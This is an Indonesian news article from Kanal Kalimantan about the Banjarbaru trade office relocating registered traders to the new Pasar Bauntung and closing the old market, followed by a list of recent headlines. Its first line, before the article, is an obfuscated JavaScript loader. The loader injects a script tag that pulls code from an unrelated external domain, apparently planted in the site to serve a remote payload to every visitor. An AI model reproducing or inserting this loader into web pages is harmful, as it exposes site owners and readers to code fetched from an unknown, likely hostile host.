(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Disperindag Banjarbaru Fokus Relokasi Pedagang Resmi yang Terdaftar


KANALKALIMANTAN.COM, BANJARBARU – Hampir seluruh lapak dagangan di Pasar Bauntung, Jalan RO Ulin, Kecamatan Banjarbaru Selatan, telah terisi. Menandakan bahwa program relokasi para pedagang hampir mendekati rampung.

Menurut Kepala Dinas Perindustrian dan Perdagangan (Disperindag) Banjarbaru, Abdul Basid, mengungkapkan bahwa para pedagang yang resmi terdaftar hampir seluruhnya telah pindah ke lokasi pasar baru.

“Ya, progres relokasi pedagang sudah hampir 100 persen. Mereka sudah mengisi tempat jualan yang kita siapkan dan mulai berjualan di pasar baru. Kalau sisanya memang masih perlu secara bertahap, tapi kita optimis bisa rampung,” ujarnya.

Disinggung soal target tuntasnya relokasi para pedagang, Basid menyebut akan mengupayakan tanpa bh pada 13 Maret. “Arahan pak Wali Kota sebenarnya tanggal 17, tapi akan kita upayakan lebih cepat,” bebernya.

Disamping itu, Basid menekankan bahwa para pedagang yang telah direlokasi pihaknya ialah yang berstatus resmi. Sebab, di Pasar Bauntung Banjarbaru terdapat dua kategori pedagang, yakni pedagang resmi dan Pedagang Kaki Lima (PKL) Subuh.

“Jadi yang hampir 100 persen kita relokasi ini hanyalah pedagang resmi. Sedangkan untuk PKL Subuh, mereka tidak lagi berjualan secara swadya tanggal 17 Maret nanti,” terangnya.

Sembari berjalannnya relokasi pedagang, Basid menjelaskan bahwa pihaknya juga tengah bersiap untuk menutup Pasar Bauntung lama yang di Jalan A Yani Km 34. Meskipun diakuinya untuk soal penutupan pasar itu masih ada beberapa kendala di lapangan.

“Sebenarnya untuk penutupan Pasar Bauntung lama sudah mulai berjalan lancar. Tap kami tidak membantah bahwa memang masih ada kendala di lapangan. Semisal sampai saat ini masih ada puluhan toko atau lapak warga yang sekaligus tempat tinggal mereka di area pasar. Di sini yang perlu ditegaskan, secara administrasi UPT pasar mereka tidak terdaftar sebagai pedagang resmi kita,” tegasnya.

Polemik-polemik lawas ini terang Basid sedang coba disikapi pihaknya. Namun ia sendiri menegaskan jika saat ini konsentrasi mereka adalah merelokasi para pedagang yang resmi terdaftar.

“Untuk sekarang konsentrasi kita adalah merelokasi pedagang yang resmi terdaftar dan juga menutup operasional pasar yang lama. Ini proses penutupan berjalan bertahap,” tuntasnya. (kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

2 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

11 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

11 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

13 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

15 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

15 jam ago

This website uses cookies.